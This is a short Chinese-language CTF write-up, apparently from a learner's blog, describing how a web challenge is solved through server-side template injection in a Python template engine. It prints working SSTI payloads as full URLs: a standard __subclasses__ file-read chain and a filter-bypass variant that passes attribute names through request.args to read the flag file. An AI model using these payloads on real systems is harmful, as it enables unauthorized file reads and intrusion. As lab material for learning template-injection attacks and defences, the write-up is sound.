又是一道新知识点的题收获很大,现在刷的webctf题都是要依靠大佬的wp,唉,还是太菜了。
刚进页面就蒙蔽了,什么都不知道。扫了一下目录和git 没有任何线索。。
看了下师傅们的WP。
点进去index。php 可以看到报错, 看到url
url的信息会在页面上看到,猜测是ssTI 注入 具体可以看:SSTI注入查看下源
FLAG文件显示出位置
一般来说 SSTI的注入payload都是
{{"".__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}}
但是发现
被屏蔽了, 用url_for 试试, 这个函数可以理解为config (不知道理解对不对
http://111.200.241.244:62326/register.php/{{url_for.__globals__}}
发现还是不行,又看了下别人的wp
用的是request.args. key 构造payload (这里的key 可以是内置函数
http://111.200.241.244:62326/{{''[request.args.a]}}?a=__class__
发现有回显,还可以这样玩我是没想到的,学到了学到了~
那么我们就可以把 request.arg. key 中的key 换成我们想要定义的内置函数 如:
http://111.200.241.244:62326/register.php/{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
相当于 把request.arg中的a 定义成了__class__ 以此类推。能过绕过无法回显的情况,从而读取我们想要的内容。 新姿势又学到了
总结:
- 考察模板注入
- payload的其他构造方法